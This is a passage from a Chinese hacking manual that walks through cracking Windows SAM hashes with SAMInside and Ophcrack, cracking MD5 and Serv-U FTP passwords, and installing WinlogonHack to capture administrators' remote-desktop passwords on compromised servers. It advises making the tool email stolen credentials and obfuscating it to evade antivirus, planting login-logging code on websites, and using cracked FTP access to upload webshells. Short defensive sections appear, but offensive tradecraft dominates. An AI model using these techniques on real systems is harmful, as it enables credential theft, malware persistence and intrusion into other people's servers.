使用SAMInside导入本地用户的Hash值,必须具有管理员权限。在有些情况下,管理员会对磁盘进行权限限制,这时需要为SAMInside授权,然后才能获取系统用户的Hash值。如图2-4所示,共获取4个用户的Hash值,该值按User、RID、LM-Password、NT-Password、LM-Hash、NT-Hash和Description的顺序显示。如果在LM-Password和NT-Password显示为Disabled,则表示该账户被禁用。超过14位的密码在LM-Password中会以全“0”显示。在旧版本中,以“AA3D”开头的表示密码位数超过14位,如“simeon:1005:AAD3B435B51404EEAAD3B435B51404EE:5E9C2FAAE669F5D06F33014E33AC2CFC:::”,其密码就是超过14位的。
图2-4 查看导入的Hash值
2.2.4 导出系统用户的Hash值
依次单击“File”→“Export Users to PWDUMP File”选项,将获取系统用户的密码Hash值导出为一个文件,其导出文件的内容如图2-5所示,然后将该文件再次导入Ophcrack中进行破解。SAMInside本身也能破解系统的Hash值,不过破解速度和效果不如Ophcrack。对一些简单的密码,SAMInside可以直接显示其密码。感兴趣的朋友可以直接尝试使用SAMInside破解系统Hash值。
图2-5 导出系统用户的Hash值
2.2.5 设置SAMInside的破解方式
如图2-6所示,默认选择LM-Hashes attack破解方式。如果用户的密码超过14位或LM-Hashes中显示的值全是0,则可以选择NT-Hashes attack方式进行破解。然后,还需要设置字典破解、暴力破解、掩码破解及彩虹表破解。
图2-6 设置SAMInside的破解方式
如果选择采用字典破解,则需要在设置中选择“Options”选项,在“Dictionary attack”中设置字典,将本地字典文件添加到字典文件列表中,如图2-7所示,可以设置多个字典文件进行破解。SAMInside在帮助中提供了在线字典下载,大概有2GB的字典可供下载。
图2-7 导入字典文件进行破解
2.2.6 执行破解
设置好破解的有关选项后,单击其绿色三角形图标进行破解,如图2-8所示。如果密码在字典文件中,则很快就会给出结果。
图2-8 运行字典破解本地用户密码
2.2.7 使用Ophcrack破解操作系统用户密码值
另一种快捷的破解用户密码的方式就是将导出的文件导入Ophcrack中进行破解。
运行Ophcrack,依次单击“Load”→“PWDUMP file”选项,选择前面使用SAMInside导出的文件,接着单击“Crack”按钮进行破解,如图2-9所示,一共花了2分7秒便将该系统的密码成功破解。Ophcrack的详细使用方法,请参考2.4节。
图2-9 使用Ophcrack破解操作系统用户的Hash密码值
2.3 使用WinlogonHack获取系统密码
在网络安全事件频发的今天,很多人都在抱怨:为什么我的系统被入侵了,我的主页被修改了?在被入侵后,我采取了一些安全加固措施,可是没过几天又发现系统被入侵了!分析其根本原因,就是系统存在安全隐患,可能是没有彻底清除系统后门,可能是系统的密码一直都掌握在黑客手中。下面将全面分析远程终端密码的获取和防范。
2.3.1 远程终端密码泄露分析
下面介绍远程终端密码泄露分析的相关内容。
1.远程终端技术APP
对大型企业来说,一般都部署有远程终端,微软的服务器操作系统Windows 2008 Server更是重点打造了远程终端。远程终端技术APP是Windows Server 2008中新的远程应用演示方法,在一些远程连接参数上进行了调整,增加了新的功能,据说其性能也有较大提高。
2.远程终端密码泄露分析
在大型网络中,由于网络环境复杂,因此服务器之间往往通过远程终端进行维护和管理。这种管理在方向上不太固定,多数是发散式的,有的通过一台主机登录多台主机,有的通过多台主机登录一台主机,还有的可能出现交叉登录的情况。黑客在入侵网络中的主机后,肯定会想办法收集网络内部或者与外部独立主机之间进行远程终端登录的用户名和密码,收集方法不外乎以下3种。
• 使用GetHashes、Pwdump等工具获取系统的Hash密码值,然后通过LC5及彩虹表进行破解,破解成功后得到系统密码,这些密码极有可能是远程终端的密码。
• 在被控制计算机上安装键盘记录,通过键盘记录获取用户在登录3389远程终端过程所输入的用户名和密码。这种方法有一定的限制,键盘记录在远程终端窗口最大化时有可能无法记录远程终端的登录密码。
• 使用WinlogonHack截取远程登录时所输入的正确密码(本节要重点介绍的部分)。
当然,除了以上3种方法外,还有其他一些密码泄露途径。
2.3.2 WinlogonHack截取密码的原理
WinlogonHack截取密码的原理介绍如下。
1.gina.dll与msgina.dll
gina.dll在Windows NT/2000中的交互式登录支持由winlogon.exe调用gina.dll实现。gina.dll的交互式界面为用户登录提供认证请求。winlogon.exe与gina.dll进行交互,默认是msgina.dll(在system32目录下)。微软提供了接口,让开发人员自己编写gina.dll来代替msgina.dll。
不知道出于什么原因,gina.dll在Windows XP及后续版本中不再出现,原来的gina.dll改为msgina.dll(“ms”表示微软)。msgina.dll在Windows XP系统中默认为967 680字节(945KB),在Windows 2003中为1 180 672字节(1153KB)。若文件大小出入较大,则可能存在问题。
2.msgina.dll文件被损坏和修改将导致严重错误
在DLL知识库(http://www.dofile.com/dlllibrary/msgina/)中是这样描述的:msgina.dll是Windows登录认证策略相关模块,该模块用于完成所有用户的登录和验证功能,如果系统中的这个文件被修改或者被破坏,将导致系统无法使用3389端口进行登录。如图2-10所示,这个系统的msgina.dll文件就被破坏了,从而导致用户无法远程登录3389终端服务器。
图2-10 msgina.dll被损坏或者被修改导致无法远程登录远程终端
3.WinlogonHack截取密码的原理
WinlogonHack通过挂钩系统中msgina.dll的WlxLoggedOutSAS函数记录登录的账户密码。WinLogon初始化时会创建如下3个桌面。
• Winlogon桌面:主要显示“Windows安全”等界面,如按下“Ctrl+Alt+Del”快捷键所看到的登录界面等。
• 应用程序桌面:我们平时见到的有“我的电脑”图标的界面。
• 屏幕保护桌面:屏幕保护显示界面。
默认情况下,gina.dll或者msgina.dll用于显示登录对话框,用户可以输入用户名和密码。所以,要想获得用户名和密码,可以写一个新的gina.dll或者msgina.dll,其中提供接口调用msgina.dll的函数是WlxLoggedOutSAS。启动就用winlogon.exe通知包,当有3389连上服务器时。新创建的winlogon.exe会在登录前加载,注册了“Startup”的DLLHook了函数。登录成功后,会将密码记录到boot.dat文件中,并取消Hook。退出3389终端后,即可将DLL文件删除。在实现时,只要获取msgina.dll中WlxLoggedOutSAS函数的前5字节即可,示例如下。
mov edi,edi
push ebp
mov ebp,esp
2.3.3 使用WinlogonHack获取密码实例
使用WinlogonHack之前,可以使用Gina木马获取Windows 2000中的密码。WinlogonHack主要用于截取Windows XP及Windows 2003 Server。
1.执行install.bat安装脚本
一种方法是将WinlogonHack的安装程序文件hookmsgina.dll、install.bat、on.reg、readlog.bat复制到同一个文件夹下,然后在DOS提示符或GUI界面直接运行install.bat。执行完毕不需要重启,当有3389终端登录时,会自动加载DLL文件并记录登录密码。密码保存在系统system32目录的boot.dat文件中。
另一种方法是将所有文件都放在同一个文件夹中,然后执行install命令,如图2-11所示是WinlogonHack正确安装的一些提示。
图2-11 远程安装WinlogonHack获取3389登录密码
2.查看密码记录
可以直接打开boot.dat文件查看,也可以运行readlog.bat脚本,然后将密码文件移动到当前目录查中查看。本例中的操作系统是Windows 2003 Server,直接通过Radmin的Telnet,然后执行“dir boot.dat/a”命令,查看是否有人进行了远程登录。如图2-12所示,boot.dat文件的大小为5 762字节——有货!使用“type boot.dat”命令可以看到记录的登录时间、用户、域名、密码及旧密码(出现两个密码主要用于用户更改了密码的情况)。
图2-12 查看密码记录boot.dat文件
3.卸载WinlogonHack
运行uninstall.bat文件即可自动卸载该程序。如果“%systemroot%\system32\wminotify.dll”文件未能删除,可以重启后再将其删除。
2.3.4 WinlogonHack攻击方法探讨
下面我们讨论WinlogonHack攻击方法。
1.定制化开发
图2-13 杀毒软件会自动查杀wminotify.dll文件
WinlogonHack的代码是开源的,因此,入侵者可以定制它,即在“lstrcat(LogPath, "\\boot.dat");”语句中将boot.dat换成任意一个文件。执行WinlogonHack后,一般人员很难发觉。入侵者还可以在此基础上增加一个邮件发送功能,将记录下来的3389远程终端用户名和密码发送到指定的邮箱,笔者在安全加固过程中就曾经碰到具有这种功能的3389密码截取木马。
2.对WinlogonHack软件做免杀处理
由于WinlogonHack在网络入侵中扮演了一个重要的辅助角色,所以一些杀毒软件会自动查杀wminotify.dll文件。如图2-13所示,笔者在做试验时,avast!杀毒软件就能将其查出,并作为病毒处理。因此,可以通过加花指令、修改特征码等方法修改wminotify.dll文件,使其能够绕过杀毒软件。
3.WinlogonHack在攻击中的应用
WinlogonHack主要用于截取3389登录密码,因此,在被入侵计算机上运行MSTSC后,如果发现MSTSC的计算机地址栏目中出现多个登录IP地址列表,如图2-14所示,那么在该计算机上就有安装WinlogonHack的必要,从而记录在服务器上管理员所登录的3389用户名和密码。
图2-14 获取3389登录地址列表
2.3.5 WinlogonHack防范方法探讨
WinlogonHack的防范要点如下。
• 在系统目录中查找“wminotify.dll”文件,如果这个文件存在,则说明系统中一定安装了WinlogonHack。可以通过登录一个3389终端测试系统目录下是否存在boot.dat文件,如果存在,则可以尝试使用uninstall.bat批处理文件卸载它;如果不能卸载,可以重启后再次卸载。
• 到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon\Notify\wminotify键值下查看,如果存在,则将其删除即可。
• 定制的WinlogonHack比较难根除,一个较好的办法是在系统安全状态下进行一次文件名称列表备份。这样,以后每次检测系统时,会比较系统目前状态下文件列表的异同。
• 如果使用3389远程终端登录多台服务器进行管理,最好在管理完毕后及时清除3389登录地址列表。
• 定期杀毒。杀毒软件在一定程度上能够防范一些已知的病毒,因此,要勤杀毒、勤看日志,在确认系统被入侵后一定要仔细、彻底地进行系统的安全检测。
2.4 使用Ophcrack破解系统Hash密码
在密码破解上,平常用得最多的是LC5。LC5的破解时间相对较长,一直以来笔者都沾沾自喜,感觉自己在密码破解方面还是不错的,一个不超过14位的系统密码一般不超过5分钟,绝大多数密码仅仅需要几十秒便可破解——这意味着,当一个系统存在漏洞时,攻击者可以在很短的时间内控制并渗透内部网络!
2.4.1 通过已有信息再次进行搜索和整理
通过查看他人的blog及发表的文章,并对其进行分析和整理,笔者最终获得了以下信息。
• 工具下载:http://sourceforge.net/project/showfiles.php?group_id=133599
• Ophcrack主页:http://ophcrack.sourceforge.net/
• 英文维克关于彩虹表的定义和解释:http://en.wikipedia.org/wiki/Rainbow_table
• 国内对彩虹表的研究:http://www.antsight.com/zsl/rainbowcrack/
• 目前有关Ophcrack和彩虹表的相关资料
下载Ophcrack软件及其源代码,以及Ophcrack提供的彩虹表(http://ophcrack.sourceforge.net/tables.php),可以知道Ophcrack提供了3个免费的彩虹表和1个需付费购买的Windows XP Special扩展表。
1. Windows XP free small(380MB)
标识: SSTIC04-10k
破解成功率: 99.9%
字母数字表: 123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
该表由大小写字母和数字生成,大小为388MB,包含所有字母数字混合密码中99.9%的LanManager表。这些都是用大小写字母和数字组成的密码(有大约800亿个组合)。
由于LanManager Hash表将密码分成每份7个字符的2段,所以,可以用该表破解长度为1~14的密码。由于LanManager Hash表是不区分大小写的,该表中800亿个组合就相当于12×10 11 (或者2 83 )个密码,因此也被称为“字母数字表10K”。
2.Windows XP free fast(703MB)
标识: SSTIC04-5k
成功率: 99.9%
字母数字表: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
字母数字表5KB,大小为703MB,包含所有字母数字组合的密码中99.9%的LanManager表。但是,随着表变成原来的2倍,如果计算机有1GB以上RAM空间,则它的破解速度将是前一个表的4倍。
3.Windows XP Special(7.5GB)
标识: WS-20k
成功率: 96%
Windows XP Special扩展表大小为7.5GB,包含最长14个大小写字母、数字及33个特殊字符(“!”、“"”、“#”、“$”、“%”、“&”、“'”、“(”、“)”、“*”、“+”、“,”、“-”、“.”、“/”、“:”、“;”、“<”、“=”、“>”、“?”、“@”、“[”、“\”、“]”、“^”、“_”、“`”、“{”、“|”、“}”、“~”和空格)组成的密码中96%的LanManager表。该表中大约有7兆个组合,5×10 12 (或者2 92 )个密码,需要付费购买。
4.破解Windows Vista的彩虹表
Vista Free(461MB)可以免费破解Windows Vista的Hash密码,Windows Vista Special(8.0GB)需要付费购买。
小知识
“LM”是“LanManager”的简称,它是Windows古老而脆弱的密码加密方式。任何大于7位的密码都被分成以7为单位的几个部分,最后不足7位的密码以“0”补足7位,然后通过加密运算最终组合成一个Hash。所以,通过破解软件分解后,实际上LM密码破解的上限就是7位,以今天的PC运算速度,这使短时间内暴力破解LM加密的密码成为可能(上限是2周)。如果使用彩虹表,那么这个时间的数量级可能会缩短到小时级。
2.4.2 安装Ophcrack
Ophcrack的安装过程非常简单,按照提示操作即可。在安装过程中需要特别注意——不要下载彩虹表。
安装设置提供了3个下载选项,分别是Windows XP(380MB)、Windows XP(703MB)、Windows Vista(461MB)彩虹表,如图2-15所示,笔者在安装过程中选择后下载了数个小时,而实际上,彩虹表可以在程序安装完成后再下载,否则要等彩虹表下载完成后才能使用Ophcrack。
图2-15 安装时建议不下载彩虹表
2.4.3 使用Ophcrack
运行Ophcrack,该软件有“Load”、“Delete”、“Save”、“Tables”、“Crack”、“Help”及“Exit" 7大主要模块,如图2-16所示:“Load”主要负责装载Hash或者SAM文件;“Delete”主要用于删除破解条目;“Save”主要用于保存破解结果或者破解Session;“Tables”主要用于设置彩虹表;“Crack”用于开始执行破解;“Help”用于查看帮助文件;“Exit”就不多说了,大家都懂。
图2-16 Ophcrack主界面
2.4.4 下载彩虹表
可以到Ophcrack提供的下载地址(http://ophcrack.sourceforge.net/tables.php)下载彩虹表。本例中下载了3个免费的彩虹表。
2.4.5 设置彩虹表
在Ophcrack主界面单击“Tables”按钮,会出现如图2-17所示的“Table Selection”界面,在默认状态下,所有的彩虹表都没有安装。通过该界面我们了解到:一共有8个彩虹表,其中有3个是免费的。选中其中一个条目,如本例中的“Xp free fast”,然后单击“Install”按钮,系统默认自动打开Ophcrack的安装目录,本例将3个压缩文件解压到F盘,如图2-18所示,选择“Tables”目录,即可同时安装获取的其他2个彩虹表。
图2-17 选择彩虹表
图2-18 选择要安装的彩虹表
注意
(1)在Ophcrack中,其彩虹表的上级目录名称必须为“tables”,否则彩虹表无法成功安装。
(2)彩虹表安装成功后,其条目图标会变成绿色,用户还可以查看彩虹表的数量,如图2-19所示。
图2-19 彩虹表安装成功
2.4.6 准备破解材料
这里的破解材料主要是指通过GetHashes、Pwdump等软件获取的系统Hash密码值。如果没有,就自己想办法获取一个吧。
2.4.7 开始破解
01 加载sam文件
单击“Load”按钮,选择“PWDUMP file”选项,如图2-20所示,一共有6个选项,第一个选项主要用于对单个Hash的破解,第二个选项用于对获取的Pwdump文件进行破解,第三个选项用于对加密的SAM文件进行破解,第四个和第五个选项主要用于审计或者破解本地和远程Hash密码。
图2-20 选择破解类型
02 查看Hash密码值
在本例中,选择一个已经Pwdump的文件,如果Pwdump系统的Hash密码没有错误,则会在Ophcrack主界面中正确显示。如图2-21所示,在Ophcrack主界面中分别显示了“User”、“LM Hash”、“NT Hash”、“LM Pwd1”、“LM Pwd2”及“NT pwd”等信息。
图2-21 显示获取的Hash密码值
03 清理无用的Hash值
在本例中,“IUSR_XFFZD-R1”、“TWWM_XFZD-SER1”和“TsInternetUser”这3个用户是系统自带的,在口令破解中基本没有用处(除非有人对该账号进行了克隆),因此,可以选中它们,单击Ophcrack主界面上的“Delete”按钮,删除这3个无用的账号及笔者添加的“king$”账号,仅留下并破解管理员账号。清理完毕后,如图2-22所示。
图2-22 清理无用的Hash密码值
04 执行破解
单击“Crack”按钮开始破解,很快就得出密码“www119”,其“LM Pwd1”值与“NT pwd”相同,破解密码的时间仅为37秒,如图2-23所示。
图2-23 破解系统密码成功
05 查看破解统计信息
在Ophcrack主界面上单击“Statistics”按钮,可以查看关于破解Hash密码值的普通和详细信息,如图2-24所示。
图2-24 查看所破解密码的有关统计信息
06 破解参数设置
单击“Preferences”选项卡,打开破解参数设置窗口,如图2-25所示,可以设置破解的线程、破解方式及是否隐藏用户名等。
图2-25 设置破解参数
2.4.8 彩虹表破解密码防范策略
通过彩虹表破解密码使入侵者可以很方便地获取系统的口令,从而“正常”登录系统,让管理员或者计算机的主人不太容易发现。研究发现,可以通过两种方式提高系统口令的安全性。
1.通过设置超过一定位数的密码加固口令安全
使用彩虹表破解14位以下的密码相对容易,对于普通入侵者来说仅有3个免费表,破解的强度相对低一些,因此可以通过增加密码设置的位数加固系统口令。笔者建议设置超过32位的密码加固系统口令。口令的设置技巧很多,这里仅举一例。通过一句话来设置密码,如“2008-8月我国举办了奥运会,我去北京鸟巢观看了比赛,感觉很爽!”就可以设置为“2008-8ywgjblayh,wqbjlcgklbs,gjhs!”,其中,时间全取,标点符号全取,其他汉字取第一个字母,密码长度为33位。如果想让密码再长一点,还可以增加取位数量。其实质就是选择一句话或者诗词中的某一段来设置,容易记忆,且安全强度高。
2.使用NTLM方式加密
LM这种脆弱的加密方式在Windows 2003中还在使用,我们可以通过更改加密方式为NTLM提高系统口令的安全性。笔者在很多案例中发现,虽然能够通过Pwdump和GetHashes获取Hash值,但LC5及Ophcrack均不能破解密码。
可以通过设定注册表参数禁用LM加密,代之以NTLM方式加密,方法如下。
01 打开注册表编辑器。
02 定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa。
03 选择“编辑”→“添加数值”选项。
04 设置数值名称为“LMCompatibilityLevel”,数值类型为“DWORD”,单击“确定”按钮。
05 双击新建的数据,并根据具体情况设置以下值。
• 0:发送LM和NTLM响应。
• 1:发送LM和NTLM响应。
• 2:仅发送NTLM响应。
• 3:仅发送NTLMv2响应(Windows 2000有效)。
• 4:仅发送NTLMv2响应,拒绝LM(Windows 2000有效)。
• 5:仅发送NTLMv2响应,拒绝LM和NTLM(Windows 2000有效)。
06 关闭注册表编辑器。
07 重新启动计算机。
Windows NT SP3引入了NTLM加密,Windows 2000以后逐步引入了NTLM 2.0加密。但是,LM加密方式默认还是开启的,除非通过上面的方法刻意关闭它。
2.5 MD5加密与解密
本节介绍如何使用MD5Crack3及一些在线网站进行破解。MD5Crack3是阿呆编写的一款MD5密码破解软件,其网站为http://www.adintr.com/subject/mdcrk/index.htm,目前已经发布了MD5Crack 4.0。读者也可以访问笔者的blog(http://simeon.blog.51cto.com/18680/144558)下载MD5Crack3。
2.5.1 MD5加解密知识
MD5密文破解(解密)可以说是网络攻击中的一个必不可少的环节,是黑客工具中的一个重要辅助工具。
MD5解密主要用于网络攻击,在对网站等进行入侵的过程中,有可能获得管理员或者其他用户的账号和密码值(MD5加密后的值)。获得的密码值有两种情况:一种是明文;另一种是对明文进行了加密。如果密码值是加密的,就需要对密码值进行判断;如果采取了MD5加密,则可以通过MD5Crack3等软件进行破解。由于王小云教授的MD5密码碰撞破解算法没有公布,因此目前MD5解密方式主要采取暴力破解,即软件通过算法生成字典,然后使用MD5函数加密该字典中的值形成密文,与需要破解的密文进行比较,如果相同,则认为破解成功。目前,有很多网站提供MD5加密或者加密值查询,将加密后的MD5值输入网站,如果网站数据库中存在该MD5,则该值对应的MD5加密前的值就是密码。
2.5.2 通过cmd5网站生成MD5密码
在浏览器地址栏中输入“http://www.cmd5.com/”,在输入框中输入想要加密的原始密码,然后单击“MD5加密或解密”按钮,如图2-26所示,原始密码为“goodman88”,加密后的密码值如下。
图2-26 MD5加密
MD5(goodman88,32) = d5a8e0b115259023faa219f5b53ca522
MD5(goodman88,16) = 15259023faa219f5
作为实验数据,我们再生成一组生日的MD5密码,示例如下。
MD5(19801230,32) = 2540bb62336a8eb3ebc1e42ee44c8e3d
MD5(19801230,16) = 336a8eb3ebc1e42e
2.5.3 通过cmd5网站破解MD5密码
在cmd5网站的输入框中输入加密后的32位MD5值“d5a8e0b115259023faa219f5b53ca522”,然后单击“md5加密或解密”按钮,如图2-27所示,未能成功破解。
图2-27 通过cmd5网站未能破解MD5密码
将第二个加密后的MD5值“2540bb62336a8eb3ebc1e42ee44c8e3d”放入cmd5网站进行破解,很快其结果就出来了,如图2-28所示。
图2-28 破解简单的数字密码
2.5.4 在线MD5破解网站收费破解高难度MD5密码值
一些在线网站提供的MD5密码破解功能只能破解已经收录的和一些简单的密码,对于稍微复杂一点的密码,都不容易破解。而且,对一些稍微有点难度的MD5密码值,如果数据库中存在该值,在线网站会要求访问者付费破解,如图2-29所示,提示找到但是要求付费。
图2-29 要求付费才能查看MD5密码值
2.5.5 使用字典暴力破解MD5密码值
字典暴力破解是目前最常用的MD5密码值破解方法,下面详细介绍其步骤。
01 再次生成MD5密码值
在cmd5网站生成原密码“jimmychu246”的MD5密码值,结果如下。
MD5(jimmychu246,32) = 437f4fffb6b2e5aaca9fd1712b8ad282
MD5(jimmychu246,16) = b6b2e5aaca9fd171
直接运行MD5Crack4,界面如图2-30所示。
图2-30 md5crack4主界面
02 在MD5Crack4中验证MD5值
将需要破解的MD5值“437f4fffb6b2e5aaca9fd1712b8ad282”粘贴到“Single Cryptograph”(破解单个密文)输入框中,如图2-31所示,如果该MD5值是正确的,则会在该输入框下方显示黑色的“valid”(有效)字样,否则将显示灰色的“valid”字样。
图2-31 在md5crack4中验证MD5值
03 使用字典进行破解
在“Plaintext Setting”(字符设置)设置区单击选中选择“Dictionary”(字典)单选按钮,并在“No.1”、“No.2”及“No.3”设置框中选择3个不同的字典。选择完毕,单击“Start”按钮,开始进行MD5破解,破解结束后会给出相应的提示,如图2-32所示。在本例中,使用字典破解成功,在“Result”标签页中显示破解的密码为“jimmychu246”。
图2-32 使用字典进行破解
04 使用字符集中的数字进行破解
将上面生成的MD5值“336a8eb3ebc1e42e”放入单一MD5密码破解输入框中,单击选中“Char Muster”(使用字符集)单选按钮后,可以勾选“Number”、“lowercase”、“majuscule”、“special char”及“custom”复选框进行破解。
在本例中使用数字进行破解,因此,要将“Min Length”(最小长度)的值设置为1,将“Max Length”(最大长度)的值设置为8,然后单击“开始”按钮,使用数字进行MD5破解,尝试破解密码位数为1~9999999的所有数字组合。如图2-33所示,密码破解成功,结果为“336a8eb3ebc1e42e---> [19801230]”。
图2-33 使用数字进行破解
说明
(1)在MD5Crack4中,可以定义数字、大小字母、特殊字符的组合进行破解。
(2)如果计算机配置比较高,可以设置更多线程。
(3)如果进行自定义破解,建议先选择数字字典,然后依次选择数字、大小写字母、特殊字符的组合字典。破解时应先易后难,否则会造成破解时间过长的问题。
(4)在MD5Crack4中,可以使用插件进行破解。
(5)在MD5Crack4中,可以设置软件显示的语言版本,有中文简体和英语两个版本,单击主界面中的“Options”(设置)按钮即可进行设置,如图2-34所示。
图2-34 设置MD5Crack4
2.5.6 一次破解多个密码
将需要破解的MD5密码全部存储到一个TXT文件中,每个密码独立占一行,然后,在MD5Crack4中单击选中“破解多个密文”单选按钮,选择刚才编辑的MD5密码文件,如图2-35所示,选择一种破解方式,本例选择使用数字字典进行破解,最后单击“开始”按钮开始破解。
图2-35 破解多个MD5密码值
在MD5Crack4右下方会显示破解结果,单击“日志”标签页可以查看MD5值校验等日志信息,单击“结果”标签页可以查看破解的结果。如图2-36所示,在列出的结果中,会将MD5值与原始密码一一对应。
图2-36 破解结果
本节介绍了使用MD5Cracker及通过网站对MD5值进行破解的方法。破解MD5值时,可以先在一些MD5破解网站进行破解,如果未能破解,则可以在本地通过MD5Cracker进行破解。
2.5.7 MD5变异加密方法破解
网站采用MD5变异加密,即“password=md5(jiami(str))”,jiami(str)定义如下。
<%
function jiami(str)
mima="*#$A.J>?;&%*&$C#%!@#JH+-\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX5454ADD
EFW45485121WDQWD21DD5DWQ15QD1"
for i=1 to len(str)
newstr=newstr&Mid(str,i,1)
if i>len(mima) then
newstr=newstr&Mid(mima,i-len(mima),1)
else
newstr=newstr&Mid(mima,i,1)
end if
next
jiami=newstr
end function
%>
原始密码的加密原理为:假如初始密码为“123456”,先通过jiami函数对初始密码进行长度判断,获知长度为6,依次取一位,然后插入自定义的加密字符串,加密后密码变为“1#2$3A4.5J6>”。接着,对字符串“1#2$3A4.5J6>”进行MD5加密。普通的6位密码通过jiami算法重新加密后,将变为12位密码,通常的MD5暴力破解基本无法破解这样的密码。
了解该加密方式后,我们就可以针对该加密方式编写一段代码,将密码字典依次间隔插入“ *#$A.J>?;&%*&$C#%! @#JH+-\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX5454ADDEFW 45485121WDQWD21DD5DWQ15QD1”字符串,然后进行密码比对,如果在加密表中找到相同的MD5值,即为破解。
除了以上方法外,还有两个方法可用于该密码的破解。第一个方法是在该服务器网络内部或者相邻网络中安装Cain等工具以嗅探HTTP包,通过捕获原始包,有可能获得原始密码。第二个方法是在该网站插入记录用户登录密码、用户名的代码,并将每次用户登录的用户名和密码添加到指定的文件中,通过查看该文件即可获得或者登录密码。
2.6 Serv-U密码破解
Serv-U是一款流行的FTP服务器,很多Web服务器都是用Serv-U来提供FTP服务,供网站使用者或者设计者上传和下载文件的。Serv-U在Web渗透中经常遇到,在权限等合适的情况下,可以通过WebShell直接获得服务器权限。Serv-U提权在后面的章节中会有介绍。Serv-U的早期版本采用MD5加密,在获取Serv-U文件夹下的ServUDaemon.ini文件后,可以对FTP用户密码进行破解。Serv-U的加密算法如下。
01 随机产生2个字符。
02 将第一步产生的字符串加上需要的密码一起进行MD5加密。
03 将第一步中随机产生的2个字符和第二步中产生的MD5编码的大写形式的字符组合在一起。
下面以一个实际案例介绍如何破解Serv-U的密码。
2.6.1 获取ServUDaemon.ini文件
Serv-U的安装目录一般位于C:\program files\Serv-U\下,也可能位于其他位置,安装路径由程序安装者决定。在获得WebShell权限的情况下,如果服务器上还安装了Serv-U,只要找到Serv-U的安装目录,将ServUDaemon.ini复制到本地留待后面进行破解即可,如图2-37所示。
图2-37 ServUDaemon.ini文件
2.6.2 查看ServUDaemon.ini文件
配置文件对大小写不敏感,行与行之间允许存在空行,主要分为[GLOBAL]全局变量段和[DOMAINS]域名配置段。[GLOBAL]全局变量段主要用于设置Serv-U的注册号及刷新标志。[DOMAINS]域名配置段中包括在Serv-U下添加的所有域信息及域以下的用户列表。
[GLOBAL]
Version=5.0.0.0 #版本号,无须改动
RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsP
F//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722 #产品注册码,无须改动
ProcessID=1172 #注册号,无须改动
ReloadSettings=True
#修改 ini 文件后必须加入此项,这时Serv-U会自动刷新配置文件并生效,此项随之消失。如果再有修
改,则再次添加
[DOMAINS]
Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0
#无须改动,新增加的域的IP地址及说明,格式
#Domain1= IP地址 | 端口 | 域显示名称 | 是否生效 | 是否显示 | 是否删除
#IP 地址为0.0.0.0 时,Serv-U自动适配系统所分配的 IP 地址
#当生效位置0,则此域禁用
#当显示位置0,此域不生效并且在控制面板不显示此项
#当删除位置0,则 ReloadSettings 设置为“Ture”后,即刷新后,自动删除此域名以下的所有内容
[Domain1]
#无须改动,与上面添加的域对应,是此域内的一些公共设置
User1=admin|1|0
#必填,用户列表
#格式
#User 序号 = 用户名 | 是否生效 | 是否删除
#User 添加时必须按照序号排列:如果跳号,则跳号的不生效;如果序号重复,则排列在后的无效
#是否生效置0,则此用户禁用
#是否删除置1,则刷新后删除用户信息,包括配置;置2,则域下所有用户均删除
[USER=admin|1]
#用户配置段,这些段的排列不分先后
TimeOut=600
Maintenance=System
Note1="Administrator User"
Access1=g:\|RWAMELCDP
在Serv-U密码破解中需要注意用户的配置,也就是ServUDaemon.ini文件中涉及用户的9个参数,一个用户对应一套参数配置,具体参数举例如下。
• [USER=zt828|1]:表示用户为zt828。
• password=mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37:表示FTP用户zt828的密码为“mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37”。
• HomeDir=d:\wwwroot\zt828:表示默认主目录为d:\wwwroot\zt828。
• MaxNrUsers=10:表示最大用户连接数为10个。
• RelPaths=1:表示是否锁定用户到主目录,1表示锁定。
• ChangePassword=1:表示是否可以修改密码,1表示可以。
• DiskQuota=1|104857600|0:表示磁盘分配大小为100MB(100×1024×1024)。
• SpeedLimitUp=102400:表示上传速度限制为100kb/s。
• SpeedLimitDown=102400:表示下载速度限制为100kb/s。
• Access1=d:\wwwroot\zt828|RL:表示读取和列表d:\wwwroot\zt828目录。
2.6.3 破解Serv-U密码
以上面的zt828用户配置为例,将密码“mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37”中的“mk”去掉,并将其复制到cmd5网站进行破解,如图2-38所示,密码可以被破解,但需要付费。单击“购买”按钮即可获得其查询的MD5值,如图2-39所示。
图2-38 通过cmd5网站查询MD5密码
图2-39 获取MD5破解后的密码
“7DC2A4B1A9A9E1F52A7F967FBCAA0A37”采用MD5加密,密码为“mkok918918”,去掉“mk”后即得到FTP的密码“ok918918”。
2.6.4 验证FTP
使用FTP的IP地址登录,输入用户名“zt828”和密码“ok918918”,即可成功登录FTP服务器。如图2-40所示,正常进入后可以查看网站的源代码、上传WebShell、获取数据库用户名和密码等。
图2-40 成功进入FTP服务器
2.7 Access数据库破解实战
本节将详细介绍有关Access数据库破解的内容。
2.7.1 Access数据库基本知识
Access是微软于1994年推出的一种基于Windows的桌面关系数据库管理系统(RDBMS)。关系数据库由一系列表组成,表又由一系列行和列组成,每一行是一个记录,每一列是一个字段,每个字段有一个字段名,字段名在一个表中不能重复。表与表之间可以建立关系(或称关联、连接),以便查询相关联的信息。Access数据库以文件形式保存,文件的扩展名是.mdb。Access数据库由6种对象组成,它们是表、查询、窗体、报表、宏和模块。
• 表(Table)是数据库的基本对象,是创建其他5种对象的基础。表由记录组成,记录由字段组成。表用于存储数据库中的数据,故又称数据表。
• 查询(Query)可以按索引快速查找到需要的记录,按要求筛选记录并能连接若干个表的字段组成新表。
• 窗体(Form)提供了一种方便的浏览、输入及更改数据的窗口,还可以创建子窗体显示相关联的表的内容。窗体也称表单。
• 报表(Report)的功能是将数据库中的数据分类汇总,然后打印出来,以便分析。
